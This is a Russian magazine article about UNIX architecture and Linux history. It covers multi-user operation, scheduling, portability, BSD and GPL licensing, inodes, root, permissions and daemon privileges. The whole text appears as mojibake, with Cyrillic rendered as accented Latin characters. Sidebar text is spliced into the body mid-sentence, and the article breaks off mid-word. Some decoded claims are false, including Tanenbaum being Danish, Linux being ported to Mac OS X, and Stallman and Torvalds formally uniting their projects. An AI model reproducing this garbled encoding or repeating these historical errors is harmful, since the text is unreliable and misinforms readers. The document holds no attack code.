ÎÑÍÎÂÍÛÅ ÎÑÎÁÅÍÍÎÑÒÈ UNIX-ÑÈÑÒÅÌ:



ýòîé îïåðàöèîíêè, íàäî ñêàçàòü, íå
ìåíåå íàâîðî÷åííàÿ è èíòåðåñíàÿ,
÷åì èñòîðèÿ UNIX. Çà ãîðàçäî ìåíü-
øåå âðåìÿ, ÷åì ïðîøëî äëÿ UNIX, ýòà
îñü óñïåëà îáðàñòè íå ìåíüøèì êîëè-
÷åñòâîì âñåâîçìîæíûõ êëîíîâ. Ñàìà
ÎÑ Linux ïîÿâèëàñü â íà÷àëå 90-õ
ïðîøëîãî âåêà, íî èñòîðèÿ åå áåðåò
íà÷àëî åùå â 1987 ãîäó. Â òî âðåìÿ
íåêèé äàòñêèé ïðîôåññîð Ýíäðþ Òàí-
íåíáàóì íàïèñàë êíèãó «Îïåðàöèîí-
íûå ñèñòåìû», â êà÷åñòâå ó÷åáíîãî
ïîñîáèÿ ê êîòîðîé ïðèëàãàëñÿ èñõîä-
íèê ìàëåíüêîé îïåðàöèîíêè ðàçìå-
ðîì âñåãî 12 000 ñòðîê êîäà � Minix.
Ýòî áûëî íå÷òî ïîõîæåå íà UNIX. Îñü
ïðåäíàçíà÷àëàñü äëÿ ðàáîòû íà
êîìïüþòåðàõ ñ ïðîöåññîðîì 8086.
Êíèæêà ïðèîáðåëà áîëüøóþ ïîïóëÿð-
íîñòü è ïîïàëà â 1991 ãîäó â ðóêè íè-
êîìó åùå íå èçâåñòíîìó ñòóäåíòó âòî-
ðîãî êóðñà è õàêåðó-ëþáèòåëþ Ëèíóñó
Òîðâàëüäñó èç Õåëüñèíêè. Èñïðîáî-
âàâ Minix, îí ðåøèë, ÷òî ñèñòåìà âïîë-
íå äàæå èíòåðåñíàÿ, íî òðåáóåò äîðà-
áîòêè, è ïðèñòóïèë ê ðàçðàáîòêå
ñîáñòâåííîé îïåðàöèîíêè. À â ýòî
âðåìÿ íåêèé Ðè÷àðä Ñòîëëìåí çàíè-
ìàëñÿ ñâîèì ïðîåêòîì GNU, ñîçäàâàÿ
áåñïëàòíîå ïðîãðàììíîå îáåñïå÷å-
íèå. Îí äàæå ðàçðàáîòàë ñîáñòâåí-
íûé âàðèàíò êîìïèëÿòîðà ÿçûêà Ñ. Íî
òîãäà íå áûëî ïîäõîäÿùåé ÎÑ äëÿ åãî
ðàáîòû. Òî, ÷òî ñäåëàë íà òîò ìîìåíò
Òîðâàëüäñ, ïðèâëåêëî âíèìàíèå Ñòîë-
ëìåíà, è îíè ðåøèëè îáúåäèíèòü óñè-
ëèÿ. Ñ ýòîãî ìîìåíòà íà÷àëàñü ñëàâ-
íàÿ ýïîïåÿ Linux. 

Â ñåíòÿáðå 1991 ïîÿâèëàñü Linux
0.01. Â íåå áûëè ïîðòèðîâàíû gcc è
bash (Born Again Shell). À ê îêòÿáðþ
ïîÿâèëàñü è âåðñèÿ 0.02. Óæå òîãäà
âñå ýòî ðàñïðîñòðàíÿëîñü áåñïëàò-
íî, âìåñòå ñ èñõîäíèêàìè è äîêó-
ìåíòàöèåé, òàê æå, êàê è â íàøè
äíè. Íî ïîêà ÷òî Linux âñå æå îñòà-
âàëñÿ ëþáèòåëüñêîé îñüþ. Ïî÷òè
êàæäûé ìåñÿö ïîÿâëÿëèñü áîëåå
äîðàáîòàííûå âåðñèè Linux, íî äî
0.10 âåðñèè âñå îíè ïîääåðæèâàëè
òîëüêî AT-âèí÷åñòåðû, çàãðóæàëèñü
ñðàçó â bash è íå èìåëè ôóíêöèè
ëîãèíà ïîëüçîâàòåëåé. Â 0.11 âåðñèè
ïîÿâèëàñü ïîääåðæêà ìóëüòèÿçû÷-
íûõ êëàâèàòóð, ôëîïïè-äèñêîâîäîâ,
VGA- è EGA-äèñïëååâ. Ñîâñåì ñêîðî
íà÷àëè ïîÿâëÿòüñÿ ðàçëè÷íûå âà-

ðèàíòû Linux, ñîáðàííûå ýíòóçèàñ-
òàìè è ïðîôåññèîíàëàìè ïî âñåìó
ìèðó. Ïîÿâèëèñü âñåì èçâåñòíûå
Red Hat, Debian, Caldera, à òàêæå
ðàçëè÷íûé ñîôò è óòèëèòû. Åùå
áîëüøå âíèìàíèÿ ê ýòîé îñè ïðèâ-
ëåêëî ïîÿâëåíèå â íåé ãðàôè÷åñêî-
ãî èíòåðôåéñà X-Window è KDE. 

Ïîçäíåå Linux áûë ïîðòèðîâàí íà
êàðìàííûå óñòðîéñòâà Palm è
PocketPC, à òàêæå íà Mac (MacOS X).
Êðîìå ýòîãî, áûëè äîáàâëåíû óòèëè-
òû è ýìóëÿòîðû äëÿ çàïóñêà ïðèëî-
æåíèé îò äðóãèõ îïåðàöèîíîê. Íàï-
ðèìåð, â íàøå âðåìÿ â Linux ñ ïî-
ìîùüþ òàêèõ óòèëèò ìîæíî çàïóñ-
êàòü òàêèå ïðîãðàììû, êàê 1C-Áóõãàë-
òåðèÿ, è íåêîòîðûå êîìïüþòåðíûå
èãðóøêè. Â ñîâðåìåííûå äèñòðèáóòè-
âû óæå âõîäèò îãðîìíûé íàáîð ñîô-
òà è óòèëèò íà âñå ñëó÷àè æèçíè: îò
web-ñåðâåðîâ è ñðåäñòâ ðàçðàáîòêè
äî àíàëîãîâ êëèåíòà ICQ è ïðîèãðû-
âàòåëÿ WinAmp, îñòàåòñÿ òîëüêî
âûáðàòü ïðè óñòàíîâêå, ÷òî òåáå
íóæíî ïîñòàâèòü ïðÿìî ñåé÷àñ. Íî
ãëàâíîå - ýòî, êîíå÷íî, êàê è ó âñåõ
UNIX-ïîäîáíûõ, îòêðûòûé êîä è âîç-
ìîæíîñòü íàñòðîèòü ñèñòåìó ïîä
ñâîå æåëåçî è ñâîè òðåáîâàíèÿ èëè
èçìåíèòü åå äî íåóçíàâàåìîñòè � áû-
ëè áû íåîáõîäèìîñòü, æåëàíèå è
óìåíèå ïðîãðàììèðîâàòü. Íå ìåíåå
âàæíà, òàê êàê Linux ðàçâèâàåòñÿ
áûñòðî è ïîñòîÿííî âûõîäÿò íîâûå
äèñòðèáóòèâû, âîçìîæíîñòü îáíîâ-
ëåíèÿ è èçìåíåíèÿ ÿäðà ñèñòåìû, áå-
çî âñÿêèõ ïåðåóñòàíîâîê ñèñòåìû
èëè ïðîãðàìì (íå òî ÷òî Âèíäà!). 

Â íàøå âðåìÿ Linux ïðîäîëæàåò óñ-
ïåøíî ðàçâèâàòüñÿ è ïðèâëåêàåò ê
ñåáå âíèìàíèå âñå íîâûõ è íîâûõ
ïîëüçîâàòåëåé. Èìåííî ýòà îñü, à òàê-
æå FreeBSD, ñòàëè îñíîâíûì âûáîðîì
àäìèíèñòðàòîðîâ web-ñåðâåðîâ è êîð-
ïîðàòèâíûõ ñèñòåì. Ïîíÿòèå «UNIX»
äàâíî óæå íå îçíà÷àåò êàêóþ-òî êîíê-

ðåòíóþ ñòàíäàðòíóþ
îñü, à îáúåäèíÿåò âñå
îïåðàöèîíêè ýòîãî ñå-
ìåéñòâà, îòâå÷àþùèå
îïðåäåëåííûì òðåáî-
âàíèÿì. Â ñåòêå âñåã-
äà ìîæíî íàéòè êó÷ó
ñîôòà è äðàéâåðîâ
ïîä âñåâîçìîæíûå
óñòðîéñòâà, à â ìíîãî-
÷èñëåííûõ ôîðóìàõ è
êîíôåðåíöèÿõ - çà-
äàòü ëþáîé âîïðîñ,
íà êîòîðûé îáÿçà-
òåëüíî îòâåòÿò. Äîá-
ðî ïîæàëîâàòü â ìèð
Open Source! :) EÑòàíäàðòíàÿ îáîëî÷êà KDE â Linux

Êîíñîëü (bash) Linux



Vint (vint@vpost.ru)

«Linux â ìàññû!», «FreeBSD íà ðàáî÷èé ñòîë!» � ýòè ëîçóíãè âñå ÷àùå ìîæíî óâèäåòü â èíòåðíåòå. Íàðîä çàõîòåë
Open Source íà ñâîè äîìàøíèå ìàøèíû. Íî ÷òî æå îáúåäèíÿåò Linux è BSD? Ýòîãî ìíîãèå íå ïîíèìàþò. Ïî ñóòè,

Linux è âñå âîçìîæíûå êëîíû BSD ïðîèñõîäÿò îò îäíîé ñèñòåìû � UNIX. Äàâàé ðàññìîòðèì àðõèòåêòóðó ýòîé ÎÑ áîëåå
ïîäðîáíî.

ÎÒÅÖ ÄÅÌÎÍÀ 
È ÏÈÍÃÂÈÍÀ
ÎÑÎÁÅÍÍÎÑÒÈ ÀÐÕÈÒÅÊÒÓÐÛ UNIX

ÊÎÃÄÀ ÌÛ ÁÛËÈ
ÌÎËÎÄÛÅ, 
À ÊÎÌÏÜÞÒÅÐÛ -
ÁÎËÜØÈÅ

Íà äâîðå 1969 ãîä.
Ê êîìïüþòåðàì èìåþò äîñòóï ëèøü
èçáðàííûå ïðîôåññîðà êðóïíåé-
øèõ óíèâåðñèòåòîâ. Âðåìÿ ðàáîòû ó
òåðìèíàëà ñòðîãî îãðàíè÷åíî, è çà
êàæäîé ìèíóòîé çàãðóçêè ìàøèíû
âåäåòñÿ ñòðîãèé ó÷åò. Ñòîèìîñòü îä-
íîãî âû÷èñëèòåëüíîãî öåíòðà ïðèá-
ëèæàåòñÿ ê áþäæåòó íåáîëüøîé
ñòðàíû. Èìåííî íà òàêîé ìàøèíå,
íàçûâàâøåéñÿ PDP-7, ïðîãðàììèñ-
òû Äåíèñ Ðèò÷è (Dennis Ritchie),
Ðàää Êåíåäåé (Rudd Canaday), Äóã
Ìàêèëðîé (Doug McIlroy) è Êåí
Òîìïñîí (Ken Thompson) â òå÷åíèå
ìåñÿöà íàïèñàëè ÎÑ, îáîëî÷êó, àñ-
ñåìáëåð è ðåäàêòîð. 

Ñëåäóþùåé âåõîé ðàçâèòèÿ UNIX
ñ÷èòàåòñÿ åãî ïåðâîå ïîðòèðîâàíèå
íà ìàøèíó ñ äðóãîé àðõèòåêòóðîé. Íà
áîëåå ïðîèçâîäèòåëüíîì PDP-11/20
UNIX áûë ïîëíîñòüþ ïåðåïèñàí ñ àñ-
ñåìáëåðà íà ÿçûê Áè ("B"). Ñ 1970 äî
1972 UNIX ðàçâèâàëñÿ êîìïàíèåé
AT&T Bell Lab. Â 1973 ãîäó Ðèò÷è è
Òîìïñîí ïåðåâåëè îïåðàöèîííóþ ñèñ-
òåìó íà ÿçûê Ñ. Ê ýòîìó ìîìåíòó UNIX
áûë óñòàíîâëåí íà 25 ìàøèíàõ � íåì-
íîãî, íî åñëè òû âñïîìíèøü, ñêîëüêî
âñåãî êîìïüþòåðîâ áûëî òîãäà â ìè-
ðå, òî ïîéìåøü, ÷òî îçíà÷àëè ýòè èíñ-
òàëëû íîâîé ñèñòåìû. ÎÑ îáðåòàëà
íîâîå çâó÷àíèå â êîìïüþòåðíîì ìè-
ðå, î íåé íà÷àëè ãîâîðèòü êàê î ñåðü-
åçíîì ïðîåêòå. Ïÿòàÿ ðåäàêöèÿ ïðîåê-
òà âíåñëà îãðîìíûé âêëàä â ðàçâèòèå
ñèñòåìû â öåëîì � èñõîäíûå êîäû
UNIX ñòàëè äîñòóïíû ñòóäåíòàì óíè-
âåðñèòåòîâ. Íà÷àëàñü ýðà ìàññîâîãî
óâëå÷åíèÿ *nix è åãî êëîíàìè. Â óíè-
âåðñèòåòå ã. Áåðêëè ñîáèðàåòñÿ ãðóï-
ïà ðàçðàáîò÷èêîâ è íà÷èíàåòñÿ âû-
ïóñê êëîíîâ UNIX � BSD-ñèñòåì. Ïîñëå
ýòîãî ïðîèñõîäèò íåïðåðûâíîå ñîâåð-
øåíñòâîâàíèå èñõîäíûõ êîäîâ ñèñòå-
ìû, íî êîíöåïöèÿ îïåðàöèîííîé ñèñ-
òåìû ñëîæèëàñü èìåííî â 70-å ãîäû
äâàäöàòîãî ñòîëåòèÿ. Ïîñëåäóþùèå
âåðñèè è êëîíû óñòðàíÿëè ñëàáûå
ìåñòà è óâåëè÷èâàëè ôóíêöèîíàëü-

íîñòü ïðîãðàììíîé ìîäåëè, íî ôóíäà-
ìåíòàëüíûõ èçìåíåíèé íå âíîñèëè. 

ÎÑÍÎÂÍÛÅ ÏËÞÑÛ ÑÈÑÒÅÌÛ 

Ìíîãîïîëüçîâàòåëüñêàÿ ÎÑ
Óæå â 70-å ãîäû ÎÑ UNIX áûëà ìíî-

ãîïîëüçîâàòåëüñêîé ñèñòåìîé, òî åñòü
çà îäíèì êîìïüþòåðîì ìîãëî ðàáîòàòü
íåñêîëüêî ïîëüçîâàòåëåé îäíîâðåìåí-
íî. Ïðè ýòîì ñèñòåìà çàáîòèòñÿ î òîì,
÷òîáû âñåì õâàòàëî ðåñóðñîâ, ÷òîáû
ïîëüçîâàòåëè íå ìîãëè îêàçàòü íèêà-
êîãî âëèÿíèÿ äðóã íà äðóãà.

Ìíîãîçàäà÷íîñòü
Â UNIX èñïîëüçóåòñÿ âûòåñíÿþ-

ùàÿ ìíîãîçàäà÷íîñòü, êîòîðàÿ áàçè-
ðóåòñÿ íà ïîíÿòèè ïðèîðèòåòîâ è
êâàíòîâàíèÿ ïðîöåññîðíîãî âðåìåíè.
Âñå ïðîöåññû ðàçáèâàþòñÿ ïî íåñ-
êîëüêèì ãðóïïàì â çàâèñèìîñòè îò òî-

ãî, êòî èõ çàïóñêàåò. Êðîìå ýòîãî, ïðî-
öåññû-äåòè ïîëó÷àþò ïðàâà ðîäèòå-
ëåé, èçìåíåíèå ïðèîðèòåòà âîçìîæíî
òîëüêî ñèñòåìíûì âûçîâîì, èíèöè-
èðóåìûì ÿäðîì èëè ïîëüçîâàòåëåì
root. Îñíîâíûìè ñ÷èòàþòñÿ òðè êëàñ-
ñà: ïðèîðèòåò ðåàëüíîãî âðåìåíè, ñèñ-
òåìíûõ ïðîöåññîâ, êëàññ ïðîöåññîâ
ðàçäåëåíèÿ âðåìåíè. Íî íå òîëüêî îò-
íîøåíèå ê îïðåäåëåííîìó òèïó ïðèî-
ðèòåòîâ ðåãóëèðóåò ïðîöåññîðíîå
âðåìÿ äëÿ äàííîãî ïðèëîæåíèÿ, åùå
ñóùåñòâóåò ïîíÿòèå êâàíòà âðåìåíè.
Ãðóáî ãîâîðÿ, ýòà ïåðåìåííàÿ ðåãëà-
ìåíòèðóåò, ÷åðåç ñêîëüêî òèêîâ ñèñ-
òåìíûõ ÷àñîâ ñëåäóåò ïåðåäàòü óï-
ðàâëåíèå ñëåäóþùåìó ïðîöåññó.

Ïåðåíîñèìîñòü êîäà
Îäíèì èç ñàìûõ ñóùåñòâåííûõ

äîñòîèíñòâ âñåõ êëîíîâ UNIX ÿâëÿåòñÿ
âîçìîæíîñòü ïåðåíîñà ÎÑ ïðàêòè÷åñ-
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ÎÒÅÖ ÄÅÌÎÍÀ È ÏÈÍÃÂÈÍÀ8 ÒÅÎÐÈß

Ïðè àíàëèçå
ïåðâîãî âà-
ðèàíòà
UNIX, íàïè-
ñàííîãî íà
ÿçûêå C,
Ðèò÷è óêà-
çàë íà çà-
ìåòíî âîç-
ðîñøèé
îáúåì (20-
40%) è íà
óõóäøåíèå
ïðîèçâîäè-
òåëüíîñòè
ÎÑ â öåëîì
ïî ñðàâíå-
íèþ ñ àññå-
ìáëåðíûì
âàðèàíòîì
êîäà.

NO WAR-
RANTLY
ABSOLUT-
ED � äåâèç
ìîäåëè
Open Source
íàøèõ äíåé.
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êè ïîä ëþáûå ïëàòôîðìû. Åñëè ðàíü-
øå ÿäðî è íåêîòîðûå äðàéâåðà áûëè
íàïèñàíû íà àññåìáëåðå, äàþùåì çà-
ìåòíûé ïðèðîñò ïðîèçâîäèòåëüíîñòè,
íî, âìåñòå ñ òåì, ïðàêòè÷åñêè ïîëíóþ
íåñîâìåñòèìîñòü ñ àðõèòåêòóðàìè, îò-
ëè÷íûìè îò äàííîé, òî ñåé÷àñ âñÿ ñèñ-
òåìà íàïèñàíà íà ÿçûêå âûñîêîãî
óðîâíÿ C. Ýòî îçíà÷àåò, ÷òî äëÿ çàïóñ-
êà UNIX íà ëþáîé íîâîé àðõèòåêòóðå
äîñòàòî÷íî ïîðòèðîâàòü êîìïèëÿòîð
ÿçûêà Ñ è ïåðåñîáðàòü ñèñòåìó èç èñ-
õîäíûõ êîäîâ. Òàêèì îáðàçîì, ìû ïî-
ëó÷àåì ïðàêòè÷åñêè óíèâåðñàëüíóþ
ÎÑ ñî ìíîæåñòâîì ïðèëîæåíèé. 

Ñâîáîäíîå ðàñïðîñòðàíåíèå
Ýòî îäèí èç îñíîâíûõ ïëþñîâ

UNIX-êëîíîâ íàøèõ äíåé. Èçíà÷àëü-
íî UNIX áûëà ïëàòíîé è çàêðûòîé
ñèñòåìîé, íî ñ òå÷åíèåì âðåìåíè âñå
èçìåíèëîñü â ëó÷øóþ ñòîðîíó, è ñåé-
÷àñ àêòèâíî ðàçâèâàþòñÿ äâå îñíîâ-
íûõ ëèöåíçèè äëÿ *nix: BSD (ïîä íåé
âûïóñêàåòñÿ FreeBSD) è GPL. Îñíîâ-
íîå îòëè÷èå BSD îò GPL â òîì, ÷òî, â
ïðèíöèïå, ïî èíèöèàòèâå ðàçðàáîò-
÷èêîâ âîçìîæíî ïðåâðàùåíèå ïðî-
äóêòà èç ñâîáîäíîãî â çàêðûòûé, êîì-
ìåð÷åñêèé. Ñàìàÿ äåìîêðàòè÷íàÿ è
ïîïóëÿðíàÿ íà ñåãîäíÿøíèé äåíü -
ýòî GPL, ïîä íåé âûïóñêàåòñÿ Linux è
åãî êëîíû. Ñóùåñòâóþò òàêæå ðàçíî-
ãî âèäà êîììåð÷åñêèå ëèöåíçèè, îñ-
íîâàííûå íà ïðîäàæå ÎÑ.

Íåòðåáîâàòåëüíîñòü 
ê ðåñóðñàì PC

Íà ñåãîäíÿøíèé äåíü äëÿ õ86
*nix-ñèñòåìû - ñàìûå ìàëîòðåáîâà-
òåëüíûå îòíîñèòåëüíî àïïàðàòíîé

ñòîðîíû ìàøèíû. Äëÿ ðàáîòû ðîóòåðà
íà *BSD äîñòàòî÷íî 386-ãî ïðîöåññî-
ðà è 4 ìåãàáàéò ïàìÿòè. Îáåñïå÷èòü
äàííûå ôóíêöèè íà äðóãèõ ðàñïðîñò-
ðàíåííûõ ñèñòåìàõ ïðè òàêîé êîíôè-
ãóðàöèè PC ïðîñòî íåâîçìîæíî. Ïðè-
÷åì äàæå íà òàêîé ñëàáîé ìàøèíå, ïî
íûíåøíèì ìåðêàì, UNIX ïîêàçûâàåò
âñå ñâîè ëó÷øèå ñòîðîíû. Îáúÿñíèòü
òàêîå ïîâåäåíèå ìîæíî, ðàññìîòðåâ
àðõèòåêòóðó ÎÑ áîëåå ïîäðîáíî.

ÀÊÑÈÎÌÛ UNIX-LIKE ÎÑ

Ñîáñòâåííàÿ ôàéëîâàÿ ñèñòåìà
Îñíîâíûìè ïîíÿòèÿìè ôàéëîâûõ

ñèñòåì *nix ÿâëÿþòñÿ ñëåäóþùèå: 
Êàòàëîã (àíàëîãèÿ â Windows � ïàï-

êà, äèðåêòîðèÿ) - ýòî, ïðåæäå âñåãî,
ôàéë, ñîäåðæàùèé ñèñòåìíóþ èíôîð-
ìàöèþ î ôàéëàõ, âõîäÿùèõ â äàííûé
êàòàëîã. Â äèðåêòîðèè ìîãóò áûòü êàòà-
ëîãè áîëåå íèçêîãî óðîâíÿ, îáû÷íûå
ôàéëû, ñïåöèàëüíûå ôàéëû. Êàòàëîãè
ñîçäàåò ïîëüçîâàòåëü èëè ñèñòåìà ïðè
âûïîëíåíèè îïðåäåëåííûõ äåéñòâèé. 

Îáû÷íûé ôôàéë (àíàëîãèÿ â Windows
� âñå ôàéëû ñèñòåìû). Âñÿ èíôîðìà-
öèÿ, õðàíèìàÿ íà êîìïüþòåðå, ñîäåð-
æèòñÿ â îáû÷íûõ ôàéëàõ. Ñîçäàâàòü,
óäàëÿòü, èçìåíÿòü ôàéëû ìîæåò ëþáîé
ïîëüçîâàòåëü, èìåþùèé ïðàâà íà çà-
ïèñü â êàòàëîã è èçìåíåíèå ôàéëà.
Èìåííî â ôàéëàõ ñîäåðæàòñÿ âñå ñèñ-
òåìíûå ïðîãðàììû, íàñòðîéêè è äàííûå.

Ñïåöèàëüíûé ôôàéë - îñîáûé òèï
ôàéëîâ, ïðèñóùèé *nix-ñèñòåìàì.
Ïðåäñòàâëÿåò ñîáîé ñëóæåáíóþ çà-
ïèñü íà äèñêå, ñèìâîëèçèðóþùóþ ñî-
êåò, ó÷àñòîê ïàìÿòè, ïðîöåññ è íåêîòî-
ðûå äðóãèå âåùè. ×àùå âñåãî ýòè

ôàéëû èìåþò íóëåâóþ èëè î÷åíü ìà-
ëåíüêóþ äëèíó è ïîñëå ïåðåçàãðóçêè
óäàëÿþòñÿ. Ñïåöèàëüíûå ôàéëû ñîç-
äàåò ÿäðî ñèñòåìû èëè ïðèêëàäíûå
ïðîãðàììû ïî ìåðå íåîáõîäèìîñòè.
Îáû÷íûé ïîëüçîâàòåëü ñîçäàâàòü òà-
êèå çàïèñè íå ìîæåò. Ãëàâíàÿ îñîáåí-
íîñòü ýòîãî òèïà � ôàéëû ñîçäàþòñÿ è
óäàëÿþòñÿ ñèñòåìîé àâòîìàòè÷åñêè,
þçåð ÷àùå âñåãî íå ìîæåò ïðî÷èòàòü
èõ ñîäåðæèìîå � îíè íå ñîäåðæàò äàí-
íûõ, äîñòóïíûõ äëÿ îáðàáîòêè.

Âñÿ íåîáõîäèìàÿ äëÿ ðàáîòû ñ ôàé-
ëîì èíôîðìàöèÿ õðàíèòñÿ â îñîáîé
ñèñòåìíîé òàáëèöå, êîòîðàÿ ÿâëÿåòñÿ
èíäåêñíûì ääåñêðèïòîðîì ((inode) äàí-
íîãî îáúåêòà. Èíäåêñíûå äåñêðèïòîðû
âñåõ ôàéëîâ ðàâíû ïî ðàçìåðó - 64
áàéòà. Â íèõ õðàíÿòñÿ äàííûå î òèïå
ôàéëà, ôèçè÷åñêîì ðàñïîëîæåíèè
ôàéëà íà äèñêå, ðàçìåðå â áàéòàõ, äà-
òà ñîçäàíèÿ, âðåìÿ ïîñëåäíåé ìîäè-
ôèêàöèè, ïîñëåäíåãî îáðàùåíèÿ ê
ôàéëó, èíôîðìàöèÿ î ïðèâèëåãèÿõ
äîñòóïà. Âñå inode ïðîíóìåðîâàíû è
ñîäåðæàòñÿ â îñîáîì îòäåëå ôàéëî-
âîé ñèñòåìû. Äëÿ ÎÑ ïîðÿäêîâûé íî-
ìåð ôàéëà åñòü óíèêàëüíîå èìÿ ôàé-
ëà. Ïîëíîå èìÿ îáúåêòà ïî åãî íîìåðó
óñòàíàâëèâàåòñÿ ñ ïîìîùüþ òàáëèöû
èåðàðõèè êàòàëîãîâ. 

Ñóùåñòâóåò îäèí ãëàâíûé
àäìèíèñòðàòîð � root, è îí áîã
äàííîãî õîñòà

Ýòà îñîáåííîñòü ïîëíîñòüþ ñîîò-
âåòñòâóåò äóõó UNIX: åñëè òû - àäìèí,
òî ýòî ïîäðàçóìåâàåò òâîè îáøèðíûå
çíàíèÿ â äàííîé îáëàñòè. Âëàñòè root�a
õâàòèò íà ëþáîå äåéñòâèå â ñèñòåìå: îò
ïðî÷òåíèÿ äîìàøíèõ êàòàëîãîâ ïîëü-
çîâàòåëåé äî óäàëåíèÿ âñåõ ôàéëîâûõ
ñèñòåì íà æåñòêîì äèñêå, ïðè÷åì îí
äàæå íå ïîëó÷èò íè îäíîãî ïðåäóïðåæ-
äåíèÿ îò ñèñòåìû. Êîíöåïöèÿ UNIX
ïîäðàçóìåâàåò ãðàìîòíîãî àäìèíà-
root�a, â îòëè÷èå îò òâîðåíèÿ Á.Ã.

Þçåðû ìîãóò äåëàòü òîëüêî
òî, ÷òî ÿâíî ðàçðåøåíî

Îäíà èç ñàìûõ ñèëüíûõ ñòîðîí
ïîëüçîâàòåëüñêîé ìîäåëè *nix-ñèñ-
òåì. Àäìèíèñòðàòîð ïðè ñîçäàíèè
ó÷åòíîé çàïèñè íîâîãî þçåðà äàåò
åìó îïðåäåëåííûå ïðàâà è âîçìîæ-
íîñòè äëÿ ðàáîòû ñ ñèñòåìîé. Ðàçäå-
ëåíèå ïðàâ íà ôàéëû ïðîèñõîäèò ñ
ïîìîùüþ àòðèáóòîâ. Äîñòàòî÷íî çàï-
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Â ñèñòåìå
UNIX èñ-
ïîëüçóåòñÿ
âûòåñíÿþ-
ùàÿ ìíîãî-
çàäà÷íîñòü,
áàçèðóþùà-
ÿñÿ íà ïî-
íÿòèÿõ ïðè-
îðèòåòà è
êâàíòîâà-
íèÿ.

http://ois.mesi.ru/html_docs/BACH/ - ïîäðîáíàÿ êíèãà, êîòîðóþ
ìîæíî ñêà÷àòü â 1 zip-àðõèâå. 
http://linuxdoc.chat.ru/obsh/rukadmina/index.html - êíèãà 95-ãî ãî-
äà, íî ñâîåé àêòóàëüíîñòè îíà íå ïîòåðÿëà.

ÊÍÈÃÈ Î UNIX

Âûáîð çàãðóç÷èêà

Kernel Panic



ðåòèòü ÷òåíèå ôàéëà, óñòàíîâèâ ñîîò-
âåòñòâóþùèé áèò, è íèêòî, êðîìå
root�a, íå ñìîæåò óçíàòü ñîäåðæèìîå.
Êðîìå î÷åíü ãèáêîé ìîäåëè àòðèáó-
òîâ, àäìèí äåëèò ïîëüçîâàòåëåé íà
ðåàëüíûõ, òî åñòü òåõ, êîòîðûå ìîãóò
çàõîäèòü ñ òåðìèíàëà èëè óäàëåííî
ïî ñåòè, è íà ñïåöèàëüíûõ � òåõ, ó êîãî
åñòü ïðàâà äëÿ âûïîëíåíèÿ êàêîé-ëè-
áî èç îïðåäåëåííûõ çàäà÷. Íàïðèìåð,
îáû÷íûé ïîëüçîâàòåëü Vasya, èìåÿ
àêêàóíò íà ìàøèíå, ìîæåò ïîäêëþ-
÷àòüñÿ ê íåé ñ ïîìîùüþ êëàâû-ìîíè-
òîðà (êàê îáû÷íûé þçåð ëîêàëüíîãî
ÏÊ), ÷åðåç ssh èç ëþáîé òî÷êè ïëàíå-
òû (åñëè íåò îãðàíè÷åíèé íà ìåñòî
ïîäêëþ÷åíèÿ), èñïîëüçóÿ ìîäåì è
òåðìèíàëüíóþ ïðîãðàììó (minicom,
telemax, ñòàíäàðòíûé òåðìèíàë Âèí-
äîâ). Ïðè ëþáîì ñïîñîáå ïîäêëþ÷å-

íèÿ þçåð áóäåò íàõîäèòüñÿ â ñèñòåìå,
êàê áóäòî îí ðàáîòàåò ñ ôèçè÷åñêîãî
ëîêàëüíîãî òåðìèíàëà. Ñïåöèàëüíûå
ïîëüçîâàòåëè (âèðòóàëüíûå), òàêèå,
êàê, nobody, ftp, anonymous, ïðèñóò-
ñòâóþò â ñèñòåìå òîëüêî êàê àêêàóíòû,
è âõîä ñ ýòèõ ó÷åòíûõ çàïèñåé ÷åðåç
òåðìèíàëû íåâîçìîæåí. Îíè èñïîëü-
çóþòñÿ äëÿ îáùåñèñòåìíûõ ñåðâèñîâ
ñ öåëüþ îãðàíè÷åíèÿ èõ ïðàâ: òàê äå-
ìîí ftp çàïóñêàåòñÿ îò ïîëüçîâàòåëÿ
ftp, Apache - îò nobody; ýòî íåîáõîäè-
ìî äëÿ ïîâûøåíèÿ áåçîïàñíîñòè è
ñòàáèëüíîñòè ñèñòåìû. 

Ó äåìîíîâ ìèíèìàëüíî
íåîáõîäèìûå ïðèâèëåãèè

Â ïåðâîíà÷àëüíûõ ðåäàêöèÿõ
UNIX ýòîãî íå áûëî, íî ñ ïðèõîäîì ñå-
òåé è õàêåðîâ ðàçðàáîò÷èêè çàäóìà-
ëèñü è äîðàáîòàëè êîíöåïöèþ ñèñòå-
ìû. Íà ïðàêòèêå ýòî âûãëÿäèò òàê: ó
êàæäîãî êðóïíîãî ñåðâèñà åñòü
�ñâîé� ñïåöèàëüíûé ïîëüçîâàòåëü, îò
åãî ó÷åòíîé çàïèñè çàïóñêàþòñÿ âñå
ïðîöåññû äàííîãî ñåðâåðà. Òàê, íàï-
ðèìåð, äëÿ web-ñåðâåðà Apache ïðàê-
òè÷åñêè âñåãäà ñîçäàåòñÿ ñïåöèàëü-
íûé ïîëüçîâàòåëü nobody, íà âñå ðà-
áî÷èå êàòàëîãè ñòàâèòñÿ âëàäåëüöåì
ýòîò þçåð è ðàçäàþòñÿ ñîîòâåòñòâóþ-
ùèå ïðàâà, ïîñëå ÷åãî â init-ñêðèïòå
ïðîïèñûâàåòñÿ ëîãèí �nobody�. Â ðå-
çóëüòàòå � ðåçêîå ïîâûøåíèå áåçî-
ïàñíîñòè âñåãî õîñòà: äàæå åñëè áóäåò
íàéäåíà óÿçâèìîñòü â äåìîíå, òî
âçëîìùèê ïîëó÷èò ïðàâà íåïðèâèëå-
ãèðîâàííîãî ïîëüçîâàòåëÿ apache.

Íàëè÷èå ñðåäñòâ äëÿ
âûïîëíåíèÿ ïðîñòûõ äåéñòâèé

*nix-ñèñòåìû îòëè÷àþòñÿ îò ìíîæå-
ñòâà äðóãèõ ÎÑ òåì, ÷òî ëþáîå ñàìîå
ñëîæíîå äåéñòâèå ìîæíî ëåãêî ðàç-
áèòü íà íåñêîëüêî áîëåå ïðîñòûõ, ðåà-
ëèçóåìûõ ñ ïîìîùüþ âñòðîåííûõ
ñðåäñòâ. Òî åñòü åñëè ïîëüçîâàòåëü õî-
ðîøî çíàåò âîçìîæíîñòè UNIX-àðõè-
òåêòóðû è ÷åòêî ïðåäñòàâëÿåò ñåáå ðå-
çóëüòàò ñâîèõ òðóäîâ, òî äîáèòüñÿ åãî
áóäåò î÷åíü ëåãêî. Ïðèìåðàìè ñðåäñòâ,
çàìåòíî óïðîùàþùèõ ðåàëèçàöèþ ëþ-
áîé çàäà÷è, ìîãóò ñëóæèòü òàêèå îáùå-
èçâåñòíûå ïðèëîæåíèÿ, êàê cron (ïåðè-
îäè÷åñêèé çàïóñê çàäà÷), ïåðåíàïðàâ-
